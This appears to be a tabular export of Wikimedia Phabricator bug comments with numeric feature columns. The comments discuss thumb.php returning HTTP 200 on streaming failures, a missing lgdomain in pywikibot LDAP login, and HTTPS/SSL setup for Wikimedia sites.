427210,citoid.wikimedia.org needs to provide HTTPS access as well as HTTP,I am an idiot. It does.,,,1426537014,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-bigsillngtdydlkgv4jt,task_subcomment,,True,c3,1,True,,,-16,True,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,25.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,2.25,0.875,I am an idiot. It does.
92545,thumb.php should not return HTTP 200 when streaming the file fails,"`thumb.php` ignores the return status of `MediaTransformOutput::streamFile()` and/or `FileRepo::streamFile()` and returns a normal HTTP status even if the file could not be streamed, which results in Varnish caching the error. It should return 503 instead.",High,80.0,1426187286,1427296341.0,PHID-USER-a6p24cvyblhfzc7we7nc,False,PHID-USER-papbtlagfolot4dzerne,False,PHID-TASK-tw44nyah5ou35dx4udvn,task_description,resolved,True,c3,1,True,False,True,-16,True,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,3.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,8.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,11.0,3.0,16.0,3.0,5.0,13.0,0.0,0.0,0.0,0.0,5.0,0.0,3.0,0.0,3.0,8.0,13.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,4.2894736842105265,0.8157894736842105,"CODE ignores the return status of CODE and/or CODE and returns a normal HTTP status even if the file could not be streamed, which results in Varnish caching the error. It should return 503 instead."
432389,thumb.php should not return HTTP 200 when streaming the file fails,"I meant testing in production, but that seems a bit far-fetched seeing that locally modifying the code is needed.",,,1427296341,,PHID-USER-papbtlagfolot4dzerne,False,,,PHID-TASK-tw44nyah5ou35dx4udvn,task_subcomment,,True,c3,1,True,,,-15,True,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,9.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,4.0,17.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,4.0,4.0,4.0,4.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,4.130434782608695,0.9565217391304348,"I meant testing in production, but that seems a bit far-fetched seeing that locally modifying the code is needed."
428801,thumb.php should not return HTTP 200 when streaming the file fails,"Just break `MediaTransformOutput::streamFile()` and/or `FileRepo::streamFile()` and make them return false. The first should affect newly created thumbnails (on a wiki using a 404 handler)- The second, I am not sure; I think it only happens on Swift (or similard shared-storage backends), but you can simulate it by calling thumb.php directly for an existing non-thumbnail file (`/w/thumb.php?f=<title>` should do it).",,,1426716160,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-tw44nyah5ou35dx4udvn,task_subcomment,,True,c3,1,True,,,-16,True,0.0,0.0,0.0,0.0,1.0,10.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,0.0,8.0,5.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,4.0,1.0,4.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,7.0,1.0,12.0,0.0,5.0,7.0,0.0,0.0,0.0,0.0,8.0,0.0,1.0,0.0,10.0,5.0,5.0,0.0,0.0,0.0,10.0,0.0,0.0,4.0,1.0,4.0,0.0,0.0,1.0,3.9452054794520546,0.7945205479452054,"Just break CODE and/or CODE and make them return false. The first should affect newly created thumbnails (on a wiki using a 404 handler)- The second, I am not sure; I think it only happens on Swift (or similard shared-storage backends), but you can simulate it by calling thumb.php directly for an existing non-thumbnail file (CODE should do it)."
428246,thumb.php should not return HTTP 200 when streaming the file fails,Any idea how we could test this?,,,1426669836,,PHID-USER-papbtlagfolot4dzerne,False,,,PHID-TASK-tw44nyah5ou35dx4udvn,task_subcomment,,True,c3,1,True,,,-16,True,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,25.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,12.0,0.0,0.0,12.0,0.0,0.0,12.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,3.25,1.0,Any idea how we could test this?
425856,thumb.php should not return HTTP 200 when streaming the file fails,"Change 196469 merged by jenkins-bot:
Return HTTP 500 not 200 from thumb.php when streaming fails

[[https://gerrit.wikimedia.org/r/196469]]",,,1426236244,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-tw44nyah5ou35dx4udvn,task_subcomment,,True,c3,1,False,,,-16,True,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,4.0,8.0,12.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,3.96,0.92,"Change 196469 merged by jenkins-bot:
Return HTTP 500 not 200 from thumb.php when streaming fails

[[GERRIT_URL]]"
427253,thumb.php should not return HTTP 200 when streaming the file fails,"Per Timo's comment on the patchset, the streamFile calls in `img_auth.php`, `SpecialUndelete#showFile`, `SpecialRevisiondelete#tryShowFile` and `SpecialUploadStash#outputLocalFile` should be handled similarly. (Also, if we are going to touch all streamFile calls, it should probably be changed to return the `Status` object so the error messages can be more informative.) Less of a priority though, those can't get cached.

**update**: split to T92903",,,1426540151,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-tw44nyah5ou35dx4udvn,task_subcomment,,True,c3,1,True,,,-16,True,1.0,0.0,0.0,3.0,1.0,3.0,1.0,0.0,1.0,1.0,3.0,1.0,0.0,0.0,0.0,1.0,0.0,8.0,13.0,0.0,3.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,3.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,13.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,5.0,13.0,3.0,1.0,9.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,3.0,13.0,8.0,0.0,0.0,0.0,3.0,0.0,0.0,1.0,0.0,1.0,3.0,0.0,0.0,3.721518987341772,0.6962025316455697,"Per Timo's comment on the patchset, the streamFile calls in CODE, CODE, CODE and CODE should be handled similarly. (Also, if we are going to touch all streamFile calls, it should probably be changed to return the CODE object so the error messages can be more informative.) Less of a priority though, those can't get cached.

**update**: split to T92903"
427252,thumb.php should not return HTTP 200 when streaming the file fails,"Per Timo's comment on the patchset, the streamFile calls in `img_auth.php`, `SpecialUndelete#showFile`, `SpecialRevisiondelete#tryShowFile` and `SpecialUploadStash#outputLocalFile` should be handled similarly. (Also, if we are going to touch all streamFile calls, it should probably be changed to return the `Status` object so the error messages can be more informative.) Less of a priority though, those can't get cached.

**update: split to T92903**",,,1426540141,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-tw44nyah5ou35dx4udvn,task_subcomment,,True,c3,1,True,,,-16,True,1.0,0.0,0.0,3.0,1.0,3.0,1.0,0.0,1.0,1.0,3.0,1.0,0.0,0.0,0.0,1.0,0.0,8.0,13.0,0.0,3.0,3.0,0.0,0.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,3.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,11.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,5.0,13.0,3.0,1.0,9.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,3.0,13.0,8.0,0.0,0.0,0.0,3.0,0.0,0.0,1.0,0.0,1.0,3.0,0.0,0.0,3.721518987341772,0.6962025316455697,"Per Timo's comment on the patchset, the streamFile calls in CODE, CODE, CODE and CODE should be handled similarly. (Also, if we are going to touch all streamFile calls, it should probably be changed to return the CODE object so the error messages can be more informative.) Less of a priority though, those can't get cached.

**update: split to T92903**"
425757,thumb.php should not return HTTP 200 when streaming the file fails,"Per Timo's comment on the patchset, the streamFile calls in `img_auth.php`, `SpecialUndelete#showFile`, `SpecialRevisiondelete#tryShowFile` and `SpecialUploadStash#outputLocalFile` should be handled similarly. (Also, if we are going to touch all streamFile calls, it should probably be changed to return the `Status` object so the error messages can be more informative.) Less of a priority though, those can't get cached.",,,1426207985,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-tw44nyah5ou35dx4udvn,task_subcomment,,True,c3,1,True,,,-16,True,1.0,0.0,0.0,3.0,1.0,3.0,1.0,0.0,1.0,1.0,3.0,1.0,0.0,0.0,0.0,1.0,0.0,9.0,13.0,0.0,3.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,3.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,10.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,7.0,6.0,13.0,3.0,1.0,10.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,3.0,13.0,7.0,0.0,0.0,0.0,3.0,0.0,0.0,1.0,0.0,1.0,3.0,0.0,0.0,3.8840579710144927,0.7101449275362319,"Per Timo's comment on the patchset, the streamFile calls in CODE, CODE, CODE and CODE should be handled similarly. (Also, if we are going to touch all streamFile calls, it should probably be changed to return the CODE object so the error messages can be more informative.) Less of a priority though, those can't get cached."
425685,thumb.php should not return HTTP 200 when streaming the file fails,"Change 196469 had a related patch set uploaded (by Gergő Tisza):
Return HTTP 500 not 200 from thumb.php when streaming fails

[[https://gerrit.wikimedia.org/r/196469]]
",,,1426200792,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-tw44nyah5ou35dx4udvn,task_subcomment,,True,c3,1,False,,,-16,True,0.0,0.0,0.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,19.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,3.0,6.0,13.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,10.0,3.935483870967742,0.9032258064516129,"Change 196469 had a related patch set uploaded (by Gergő Tisza):
Return HTTP 500 not 200 from thumb.php when streaming fails

[[GERRIT_URL]]
"
90149,LDAP based login is broken in pywikibot because lgdomain is not set,"Couldn't figure out why core didn't work on my wiki with LDAP login. After some debugging I found out that lgdomain doesn't seem to be set anywhere at all. See https://www.mediawiki.org/w/api.php?action=help&modules=login|query+info

If I just hardcode login_request[""lgdomain""] = ""mydomain"" in api.py, it magically works. The login logic should look in the family file if self.ldapDomain is set and if that's the case include it in the request. Compat doesn't have this problem.

",High,80.0,1424445689,1483592844.0,PHID-USER-cw4amt4ewxdze5qcjdca,False,PHID-USER-ym2wy2clsakjgpqps55p,False,PHID-TASK-q7d53e2zrhxr3m4nj3xb,task_description,resolved,True,c3,1,True,False,False,-19,True,2.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,3.0,3.0,5.0,0.0,0.0,0.0,3.0,0.0,11.0,17.0,0.0,1.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,8.0,2.0,2.0,0.0,0.0,1.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,1.0,2.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,11.0,6.0,1.0,8.0,0.0,0.0,0.0,0.0,9.0,0.0,1.0,0.0,6.0,17.0,3.0,0.0,3.0,0.0,6.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,2.0,3.897727272727273,0.75,"Couldn't figure out why core didn't work on my wiki with LDAP login. After some debugging I found out that lgdomain doesn't seem to be set anywhere at all. See URL

If I just hardcode login_request[""lgdomain""] = ""mydomain"" in api.py, it magically works. The login logic should look in the family file if self.ldapDomain is set and if that's the case include it in the request. Compat doesn't have this problem.

"
787430,LDAP based login is broken in pywikibot because lgdomain is not set,Patch has been merged. Hence closing as resolved. Thanks!,,,1483592844,,PHID-USER-ym2wy2clsakjgpqps55p,False,,,PHID-TASK-q7d53e2zrhxr3m4nj3xb,task_subcomment,,True,c3,3,True,,,79,True,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,25.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,4.083333333333333,0.9166666666666666,Patch has been merged. Hence closing as resolved. Thanks!
786002,LDAP based login is broken in pywikibot because lgdomain is not set,"Change 330144 merged by jenkins-bot:
Fix broken LDAP based login

[[https://gerrit.wikimedia.org/r/330144]]",,,1483423895,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-q7d53e2zrhxr3m4nj3xb,task_subcomment,,True,c3,3,False,,,78,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,3.6,0.9,"Change 330144 merged by jenkins-bot:
Fix broken LDAP based login

[[GERRIT_URL]]"
785814,LDAP based login is broken in pywikibot because lgdomain is not set,"Change 330144 had a related patch set uploaded (by Phantom42):
Fix broken LDAP based login

[[https://gerrit.wikimedia.org/r/330144]]
",,,1483367242,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-q7d53e2zrhxr3m4nj3xb,task_subcomment,,True,c3,3,False,,,78,True,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,20.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,3.76,0.88,"Change 330144 had a related patch set uploaded (by Phantom42):
Fix broken LDAP based login

[[GERRIT_URL]]
"
767367,LDAP based login is broken in pywikibot because lgdomain is not set,Imported as https://codein.withgoogle.com/tasks/5099661157203968/,,,1480285777,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-q7d53e2zrhxr3m4nj3xb,task_subcomment,,True,c3,3,True,,,73,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.333333333333333,1.0,Imported as URL
750506,LDAP based login is broken in pywikibot because lgdomain is not set,I will mentor this in #GCI2016,,,1477528786,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-q7d53e2zrhxr3m4nj3xb,task_subcomment,,True,c3,3,True,,,69,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,14.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5714285714285716,1.0,I will mentor this in #GCI2016
741272,LDAP based login is broken in pywikibot because lgdomain is not set,"The modification to api.py outlined here resolved the issue for me:

https://www.linkedin.com/pulse/how-correct-pywikibot-ldap-authentication-error-armando-trinchillo

LDAP authentication worked until I added a second domain to the authentication options in my LocalSettings.php.  I have not had an opportunity to revert the change and test, but I wanted to mention it just in case it helps reproduce the issue.",,,1475872586,,PHID-USER-hqyevonuxo3zgojidwzc,False,,,PHID-TASK-q7d53e2zrhxr3m4nj3xb,task_subcomment,,True,c3,3,False,,,66,True,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,8.0,0.0,5.0,13.0,0.0,3.0,0.0,0.0,0.0,7.0,2.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,11.0,0.0,11.0,0.0,3.0,11.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,11.0,13.0,3.0,0.0,0.0,0.0,11.0,0.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,4.360655737704918,0.7704918032786885,"The modification to api.py outlined here resolved the issue for me:

URL

LDAP authentication worked until I added a second domain to the authentication options in my LocalSettings.php.  I have not had an opportunity to revert the change and test, but I wanted to mention it just in case it helps reproduce the issue."
736641,LDAP based login is broken in pywikibot because lgdomain is not set,why in API.py? Can't it be done in the login.py like how it was done in compact?,,,1475169512,,PHID-USER-gbs772f5nbiji6ehwpea,False,,,PHID-TASK-q7d53e2zrhxr3m4nj3xb,task_subcomment,,True,c3,3,True,,,65,True,0.0,0.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,15.0,5.0,0.0,0.0,0.0,0.0,0.0,15.0,15.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,10.0,10.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,5.0,5.0,0.0,10.0,15.0,0.0,10.0,0.0,0.0,10.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,3.2,0.75,why in API.py? Can't it be done in the login.py like how it was done in compact?
734398,LDAP based login is broken in pywikibot because lgdomain is not set,"Hi, I am interested in working on this bug. 
As far as I understand (from the discussions above) there needs to be a check on ldapDomain and lgdomain should be set accordingly, somewhere near line no. 3036 in 
[[ https://phabricator.wikimedia.org/diffusion/PWBC/browse/master/pywikibot/data/api.py | api.py ]]
i.e. just after the initialisation. 
I'm completely new to this so please correct me if I'm wrong somewhere and should I move ahead resolving this bug?",,,1474823768,,PHID-USER-hmeq7owcgfeaxb6ibrt4,False,,,PHID-TASK-q7d53e2zrhxr3m4nj3xb,task_subcomment,,True,c3,3,False,,,64,True,0.0,0.0,1.0,1.0,0.0,4.0,2.0,0.0,0.0,1.0,6.0,2.0,0.0,0.0,1.0,7.0,0.0,12.0,14.0,0.0,1.0,2.0,0.0,0.0,0.0,1.0,0.0,5.0,0.0,0.0,0.0,6.0,2.0,0.0,0.0,0.0,0.0,0.0,1.0,2.0,1.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,11.0,0.0,4.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,9.0,1.0,2.0,8.0,0.0,0.0,0.0,0.0,5.0,4.0,1.0,0.0,7.0,14.0,0.0,1.0,0.0,0.0,7.0,0.0,0.0,1.0,1.0,2.0,0.0,0.0,1.0,3.6823529411764704,0.7176470588235294,"Hi, I am interested in working on this bug. 
As far as I understand (from the discussions above) there needs to be a check on ldapDomain and lgdomain should be set accordingly, somewhere near line no. 3036 in 
[[ URL | api.py ]]
i.e. just after the initialisation. 
I'm completely new to this so please correct me if I'm wrong somewhere and should I move ahead resolving this bug?"
564564,LDAP based login is broken in pywikibot because lgdomain is not set,"@multichill, are you able to test patches for this?",,,1447806526,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-q7d53e2zrhxr3m4nj3xb,task_subcomment,,True,c3,3,True,,,19,True,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,0.0,9.0,18.0,0.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.909090909090909,1.0,"SCREEN_NAME, are you able to test patches for this?"
466208,LDAP based login is broken in pywikibot because lgdomain is not set,"This is pretty #easy, as it needs to be backwards compatible with compat, so no bikeshedding on names, etc. and it should be two lines of code in core.

```
compat$ git grep ldapDomain
families/README-family.txt:        #self.ldapDomain = 'domain here'
family.py:        self.ldapDomain = ()
login.py:            if self.site.family.ldapDomain:
login.py:                predata['lgdomain'] = self.site.family.ldapDomain
login.py:            if self.site.family.ldapDomain:     # VistaPrint fix
login.py:                predata[""wpDomain""] = self.site.family.ldapDomain
```",,,1433005410,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-q7d53e2zrhxr3m4nj3xb,task_subcomment,,True,c3,1,True,,,-5,True,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,20.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,5.0,2.0,2.0,5.0,0.0,0.0,0.0,2.0,5.0,0.0,2.0,0.0,5.0,20.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,3.2439024390243905,0.8048780487804879,"This is pretty #easy, as it needs to be backwards compatible with compat, so no bikeshedding on names, etc. and it should be two lines of code in core.

``CODE``"
414785,LDAP based login is broken in pywikibot because lgdomain is not set,Can we set lgdomain even without LDAP login?,,,1424445919,,PHID-USER-7fndkemmavweiht5ybfd,False,,,PHID-TASK-q7d53e2zrhxr3m4nj3xb,task_subcomment,,True,c3,1,True,,,-19,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,11.0,11.0,11.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.111111111111111,1.0,Can we set lgdomain even without LDAP login?
89080,Implement SSL certificate on Wikimedia DC server (wikimediadc.org),"Wikimedia DC has an SSL certificate from Gandi. Jeremyb knows more about it.

Since we own it, why not use it? I am mostly interested in using it for Stripe payment processing, which will handle the actual payment processing (including PCI compliance) as long as we use SSL on our end. But there are other uses, such as having login / logged in users handled by HTTPS, like with Wikimedia projects. Thoughts?

